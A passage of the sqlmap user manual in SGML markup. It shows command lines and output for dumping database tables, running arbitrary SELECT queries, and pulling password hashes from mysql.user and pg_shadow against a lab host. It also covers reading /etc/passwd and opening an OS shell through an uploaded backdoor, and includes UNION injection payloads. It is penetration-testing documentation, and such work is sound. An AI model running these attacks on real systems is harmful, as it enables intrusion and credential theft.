++-------------------+ +| DEPARTMENTS | +| EMPLOYEES | +| HTMLDB_PLAN_TABLE | +| JOB_HISTORY | +| JOBS | +| LOCATIONS | +| REGIONS | +| USERS | ++-------------------+ +</verb></tscreen> + +<p> +Note that on Oracle you have to provide the <tt>TABLESPACE_NAME</tt> +instead of the database name, in my example that is <tt>users</tt> to +retrieve all tables owned by an Oracle database management system +user. + + +<sect2>Database table columns + +<p> +Options: <tt>--columns</tt>, <tt>-T</tt> and <tt>-D</tt> + +<p> +It is possible to enumerate the list of columns for a specific database +table. +This functionality depends on both <tt>-T</tt> to specify the table name +and on <tt>-D</tt> to specify the database name. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \ + -T users -D master + +Database: master +Table: users +[3 columns] ++---------+---------+ +| Column | Type | ++---------+---------+ +| id | int | +| name | varchar | +| surname | varchar | ++---------+---------+ +</verb></tscreen> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \ + -T users -D public + +Database: public +Table: users +[3 columns] ++---------+--------+ +| Column | Type | ++---------+--------+ +| id | int4 | +| name | bpchar | +| surname | bpchar | ++---------+--------+ +</verb></tscreen> + +<p> +Note that on PostgreSQL you have to provide <tt>public</tt> or the +name of a system database because it is not possible to enumerate other +databases tables, only the users' schema that the web application's user +is connected to, which is always <tt>public</tt>. + + +<sect2>Dump database tables entries + +<p> +Options: <tt>--dump</tt>, <tt>-C</tt>, <tt>-T</tt> and <tt>-D</tt> + +<p> +It is possible to dump the entries for a specific database table. +This functionality depends on both <tt>-T</tt> to specify the table name +and on <tt>-D</tt> to specify the database name. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \ + -T users -D test + +Database: test +Table: users +[5 entries] ++----+--------------------------------------------+-------------------+ +| id | name | surname | ++----+--------------------------------------------+-------------------+ +| 1 | luther | blissett | +| 2 | fluffy | bunny | +| 3 | wu | ming | +| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 5 | NULL | nameisnull | ++----+--------------------------------------------+-------------------+ +</verb></tscreen> + +<p> +You can also provide the <tt>-C</tt> option to specify the table column +that you want to enumerate the entries. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \ + -T users -D master -C surname + +Database: master +Table: users +[5 entries] ++-------------------+ +| surname | ++-------------------+ +| blisset | +| bunny | +| ming | +| nameisnull | +| user agent header | ++-------------------+ +</verb></tscreen> + +<p> +sqlmap also stores for each table the dumped entries in a CSV format file. +You can see the absolute path where it stored the dumped tables entries +by providing a verbosity level greater than or equal to 1. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \ + -T users -D public -v 1 + +[...] +Database: public +Table: users +[5 entries] ++----+--------------------------------------------+-------------------+ +| id | name | surname | ++----+--------------------------------------------+-------------------+ +| 1 | luther | blissett | +| 2 | fluffy | bunny | +| 3 | wu | ming | +| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 5 | | nameisnull | ++----+--------------------------------------------+-------------------+ + +[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/ +192.168.1.121/dump/public/users.csv' +[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/ +192.168.1.121' + +$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv +"id","name","surname" +"1","luther","blissett" +"2","fluffy","bunny" +"3","wu","ming" +"4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header" +"5","","nameisnull" +</verb></tscreen> + + +<sect2>Dump all databases tables entries + +<p> +Options: <tt>--dump-all</tt> and <tt>--exclude-sysdbs</tt> + +<p> +It is possible to dump all databases tables entries at once. + +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all + +Database: test +Table: users +[5 entries] ++----+--------------------------------------------+-------------------+ +| id | name | surname | ++----+--------------------------------------------+-------------------+ +| 1 | luther | blissett | +| 2 | fluffy | bunny | +| 3 | wu | ming | +| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 5 | NULL | nameisnull | ++----+--------------------------------------------+-------------------+ + +Database: information_schema +Table: CHARACTER_SETS +[36 entries] ++--------------------+----------------------+-----------------------------+--------+ +| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN | ++--------------------+----------------------+-----------------------------+--------+ +| tis620 | tis620_thai_ci | TIS620 Thai | 1 | +| macroman | macroman_general_ci | Mac West European | 1 | +| dec8 | dec8_swedish_ci | DEC West European | 1 | +| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 | +| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 | +| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 | +| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 | +| hp8 | hp8_english_ci | HP West European | 1 | +| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 | +| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 | +| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 | +| ascii | ascii_general_ci | US ASCII | 1 | +| cp866 | cp866_general_ci | DOS Russian | 1 | +| cp1256 | cp1256_general_ci | Windows Arabic | 1 | +| macce | macce_general_ci | Mac Central European | 1 | +| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 | +| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 | +| cp1257 | cp1257_general_ci | Windows Baltic | 1 | +| cp852 | cp852_general_ci | DOS Central European | 1 | +| euckr | euckr_korean_ci | EUC-KR Korean | 2 | +| cp1250 | cp1250_general_ci | Windows Central European | 1 | +| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 | +| binary | binary | Binary pseudo charset | 1 | +| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 | +| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 | +| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 | +| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 | +| greek | greek_general_ci | ISO 8859-7 Greek | 1 | +| cp850 | cp850_general_ci | DOS West European | 1 | +| utf8 | utf8_general_ci | UTF-8 Unicode | 3 | +| latin1 | latin1_swedish_ci | cp1252 West European | 1 | +| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 | +| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 | +| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 | +| swe7 | swe7_swedish_ci | 7bit Swedish | 1 | +| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 | ++--------------------+----------------------+-----------------------------+--------+ + +[...] +</verb></tscreen> + +<p> +You can also provide the <tt>--exclude-sysdbs</tt> option to exclude all +system databases so that sqlmap will only dump entries of users' databases +tables. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \ + --exclude-sysdbs + +Database: master +Table: spt_datatype_info_ext +[10 entries] ++----------------+-----------------+-----------+-----------+ +| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type | ++----------------+-----------------+-----------+-----------+ +| 0 | length | char | 175 | +| 0 | precision,scale | numeric | 108 | +| 0 | max length | varbinary | 165 | +| 0 | precision,scale | decimal | 106 | +| 1 | precision | numeric | 108 | +| 0 | length | nchar | 239 | +| 0 | max length | nvarchar | 231 | +| 0 | length | binary | 173 | +| 0 | max length | varchar | 167 | +| 1 | precision | decimal | 106 | ++----------------+-----------------+-----------+-----------+ + +[...] + +Database: master +Table: users +[5 entries] ++----+--------------------------------------------+-------------------+ +| id | name | surname | ++----+--------------------------------------------+-------------------+ +| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 2 | fluffy | bunny | +| 1 | luther | blisset | +| 3 | wu | ming | +| 5 | NULL | nameisnull | ++----+--------------------------------------------+-------------------+ + +[...] +</verb></tscreen> + +<p> +Note that on Microsoft SQL Server the <tt>master</tt> database is not +considered a system database because some database administrators use it +as a users' database. + + +<sect2>Run your own SQL SELECT statement + +<p> +Options: <tt>--sql-query</tt> and <tt>--sql-shell</tt> + +<p> +The SQL query and the SQL shell features makes the user able to run +whatever <tt>SELECT</tt> statement on the web application's back-end +database management system and retrieve its output. + +<p> +Examples on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT 'foo'" -v 1 + +[...] +[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' +[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), +(CHAR(32))) +[hh:mm:14] [INFO] retrieved: foo +[hh:mm:14] [INFO] performed 27 queries in 0 seconds +SELECT 'foo': 'foo' + +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT 'foo', 'bar'" -v 1 + +[...] +[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' +[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into +distinct queries to be able to retrieve the output even if we are going blind +[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), +(CHAR(32))) +[hh:mm:50] [INFO] retrieved: foo +[hh:mm:50] [INFO] performed 27 queries in 0 seconds +[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), +(CHAR(32))) +[hh:mm:50] [INFO] retrieved: bar +[hh:mm:50] [INFO] performed 27 queries in 0 seconds +SELECT 'foo', 'bar': 'foo, bar' +</verb></tscreen> + +<p> +As you can see from this last example, sqlmap splits the query in two +different <tt>SELECT</tt> statement to be able to retrieve the output even +in blind SQL injection technique. +Otherwise in inband SQL injection technique it only perform a single HTTP +request to get the user's query output: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT 'foo', 'bar'" -v 1 --union-use + +[...] +[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' +[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability +[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id' +[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection +vulnerability +[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+ +CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) ++(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+ +CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+ +CHAR(116)), NULL-- AND 8373=8373 +[hh:mm:03] [INFO] performed 3 queries in 0 seconds +SELECT 'foo', 'bar' [1]: +[*] foo, bar +</verb></tscreen> + +<p> +Examples on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \ + "SELECT 'foo' FROM dual" + +[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n +SELECT 'foo' FROM dual: 'foo' +</verb></tscreen> + +<p> +As you can see, if your <tt>SELECT</tt> statement contains a <tt>FROM</tt> +clause, sqlmap asks the user if such statement can return multiple entries +and in such case the tool knows how to unpack the query correctly to +retrieve its whole output line per line. + +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT usename FROM pg_user" + +[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y +[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries +do you want to retrieve? +[a] All (default) +[#] Specific number +[q] Quit +Choice: 2 +SELECT usename FROM pg_user [2]: +[*] postgres +[*] testuser +</verb></tscreen> + +<p> +As you can see, in the last example sqlmap counts the number of entries +for your query and asks how many entries from the top you want to dump. +Otherwise if you specify also the <tt>LIMIT</tt>, or similar, clause +sqlmap will not ask anything, just unpack the query and return its +output. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \ + "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1 + +[...] +back-end DBMS: MySQL >= 5.0.0 + +[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM +mysql.user LIMIT 1, 3' +[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack +it into distinct queries to be able to retrieve the output even if we are going blind +[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 1, 1 +[hh:mm:12] [INFO] retrieved: root +[hh:mm:12] [INFO] performed 34 queries in 0 seconds +[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 1, 1 +[hh:mm:12] [INFO] retrieved: localhost +[hh:mm:12] [INFO] performed 69 queries in 0 seconds +[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 1, 1 +[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[hh:mm:13] [INFO] performed 293 queries in 0 seconds +[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 2, 1 +[hh:mm:13] [INFO] retrieved: root +[hh:mm:13] [INFO] performed 34 queries in 0 seconds +[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 2, 1 +[hh:mm:13] [INFO] retrieved: leboyer +[hh:mm:13] [INFO] performed 55 queries in 0 seconds +[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 2, 1 +[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[hh:mm:14] [INFO] performed 293 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 3, 1 +[hh:mm:14] [INFO] retrieved: root +[hh:mm:14] [INFO] performed 34 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 3, 1 +[hh:mm:14] [INFO] retrieved: 127.0.0.1 +[hh:mm:14] [INFO] performed 69 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user +ORDER BY user ASC LIMIT 3, 1 +[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[hh:mm:15] [INFO] performed 293 queries in 0 seconds +SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]: +[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B +</verb></tscreen> + +<p> +The SQL shell option gives you access to run your own SQL <tt>SELECT</tt> +statement interactively, like a SQL console logged into the back-end +database management system. +This feature has TAB completion and history support. + +<p> +Example of history support on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell + +sql> SELECT 'foo' +SELECT 'foo': 'foo' + +sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell] +sql> SELECT version() +SELECT version(): 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 +(Ubuntu 4.2.3-2ubuntu4)' + +sql> exit + +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell + +sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell] +sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename +[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y +[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries +do you want to retrieve? +[a] All (default) +[#] Specific number +[q] Quit +Choice: +SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]: +[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4 +[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093 +[*] testuser2, +</verb></tscreen> + +<p> +Example of TAB completion on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell + +sql> [TAB TAB] +AND ORD(MID((%s), %d, 1)) > %d +CAST(%s AS CHAR(10000)) +COUNT(%s) +CURRENT_USER() +DATABASE() +IFNULL(%s, ' ') +LENGTH(%s) +LIMIT %d, %d +MID((%s), %d, %d) +ORDER BY %s ASC +SELECT %s FROM %s.%s +SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND +table_schema='%s' +SELECT grantee FROM information_schema.USER_PRIVILEGES +SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES +SELECT schema_name FROM information_schema.SCHEMATA +SELECT table_schema, table_name FROM information_schema.TABLES +SELECT user, password FROM mysql.user +VERSION() +sql> SE[TAB] +sql> SELECT +</verb></tscreen> + +<p> +As you can see the TAB functionality shows the queries defined for the +back-end database management system in sqlmap XML queries file, but you +can run whatever <tt>SELECT</tt> statement that you want. + +<p> +Example of asterisk expansion on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \ + -v 1 + +[...] +[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER +sql> SELECT * FROM test.users +[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users' +[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column +names itself. +[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test' +[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test' +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM +information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +table_schema=CHAR(116,101,115,116) +[hh:mm:48] [INFO] retrieved: 3 +[hh:mm:48] [INFO] performed 13 queries in 0 seconds +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM +information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +table_schema=CHAR(116,101,115,116) LIMIT 0, 1 +[hh:mm:48] [INFO] retrieved: id +[hh:mm:48] [INFO] performed 20 queries in 0 seconds +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM +information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +table_schema=CHAR(116,101,115,116) LIMIT 1, 1 +[hh:mm:48] [INFO] retrieved: name +[hh:mm:48] [INFO] performed 34 queries in 0 seconds +[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM +information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND +table_schema=CHAR(116,101,115,116) LIMIT 2, 1 +[hh:mm:48] [INFO] retrieved: surname +[hh:mm:48] [INFO] performed 55 queries in 0 seconds +[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users +[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y +[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users +[hh:mm:04] [INFO] retrieved: 5 +[hh:mm:04] [INFO] performed 13 queries in 0 seconds +[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries +do you want to retrieve? +[a] All (default) +[#] Specific number +[q] Quit +Choice: 3 +[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 0, 1 +[hh:mm:09] [INFO] retrieved: 1 +[hh:mm:09] [INFO] performed 13 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 0, 1 +[hh:mm:09] [INFO] retrieved: luther +[hh:mm:09] [INFO] performed 48 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 0, 1 +[hh:mm:09] [INFO] retrieved: blissett +[hh:mm:09] [INFO] performed 62 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 1, 1 +[hh:mm:09] [INFO] retrieved: 2 +[hh:mm:09] [INFO] performed 13 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 1, 1 +[hh:mm:09] [INFO] retrieved: fluffy +[hh:mm:09] [INFO] performed 48 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 1, 1 +[hh:mm:09] [INFO] retrieved: bunny +[hh:mm:09] [INFO] performed 41 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 2, 1 +[hh:mm:09] [INFO] retrieved: 3 +[hh:mm:09] [INFO] performed 13 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 2, 1 +[hh:mm:09] [INFO] retrieved: wu +[hh:mm:09] [INFO] performed 20 queries in 0 seconds +[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users +ORDER BY id ASC LIMIT 2, 1 +[hh:mm:09] [INFO] retrieved: ming +[hh:mm:10] [INFO] performed 34 queries in 0 seconds +SELECT * FROM test.users [3]: +[*] 1, luther, blissett +[*] 2, fluffy, bunny +[*] 3, wu, ming +</verb></tscreen> + +<p> +As you can see in this last example, if the <tt>SELECT</tt> statement has +an asterisk instead of the column(s) name, sqlmap first retrieves the +column names of the table then asks if the query can return multiple +entries and goes on. + + +<sect1>File system access + +<sect2>Read a specific file content + +<p> +Option: <tt>--read-file</tt> + +<p> +If the back-end database management system is MySQL and the current user +has access to the <tt>LOAD_FILE()</tt> function, it is possible to read +the content of a specific file from the file system. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ + --read-file /etc/passwd + +/etc/passwd: +--- +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/bin/sh +bin:x:2:2:bin:/bin:/bin/sh +sys:x:3:3:sys:/dev:/bin/sh +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/bin/sh +man:x:6:12:man:/var/cache/man:/bin/sh +lp:x:7:7:lp:/var/spool/lpd:/bin/sh +mail:x:8:8:mail:/var/mail:/bin/sh +news:x:9:9:news:/var/spool/news:/bin/sh +uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh +proxy:x:13:13:proxy:/bin:/bin/sh +www-data:x:33:33:www-data:/var/www:/bin/false +backup:x:34:34:backup:/var/backups:/bin/sh +nobody:x:65534:65534:nobody:/nonexistent:/bin/sh +mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false +postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash +inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash +--- +</verb></tscreen> + + +<sect1>Operating system access + +<sect2>Prompt for an interactive operating system shell + +<p> +Option: <tt>--os-shell</tt> + +<p> +If the back-end database management system is MySQL, the web application's +programming language is PHP and you, or sqlmap itself, found a writable +directory within the web server document root path, sqlmap can prompt for +an interactive operating system shell on the back-end database management +system. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \ + --os-shell + +[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path +[hh:mm:49] [WARNING] unable to retrieve the remote web server document root +[hh:mm:49] [INPUT] please provide the web server document root [/var/www]: +[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that +you want sqlmap to try to upload the agent [/var/www/test]: +[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands +right now? [Y/n] y +$ id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +$ exit +</verb></tscreen> + +<p> +As you might notice, such operating system shell has the same +functionalities of SQL shell. + + +<sect1>Miscellaneous + +<sect2>Test for UNION SELECT query SQL injection + +<p> +Option: <tt>--union-test</tt> + +<p> +It is possible to test if the target URL is affected by an <bf>inband +SQL injection</bf> vulnerability. +Refer to the <em>Techniques</em> section for details on this SQL injection +technique. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \ + --union-test -v 1 + +[...] +back-end DBMS: Oracle + +[hh:mm:55] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability +valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT +NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2' +</verb></tscreen> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \ + --union-test -v 1 + +[...] +back-end DBMS: PostgreSQL + +[hh:mm:05] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability +valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT +NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2' +</verb></tscreen> + +<p> +As you can see, the target URL parameter <tt>id</tt> might be also +affected by an inband SQL injection. +In case this vulnerability is exploitable it is strongly recommended to +use it. + +<sect2>Use the UNION SELECT query SQL injection + +<p> +Option: <tt>--union-use</tt> + +<p> +Providing the <tt>--union-use</tt> parameter, sqlmap will first test if +the target URL is affected by an <bf>inband SQL injection</bf> +(<tt>--union-test</tt>) vulnerability then, in case it is vulnerable and +exploitable, it will trigger this vulnerability to retrieve the output of +the <tt>SELECT</tt> queries. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \ + --union-use --banner + +[...] +back-end DBMS: Microsoft SQL Server 2000 + +[hh:mm:42] [INFO] fetching banner +[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' +[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability +[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id' +[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection +vulnerability +[hh:mm:42] [INFO] query: UNION ALL SELECT 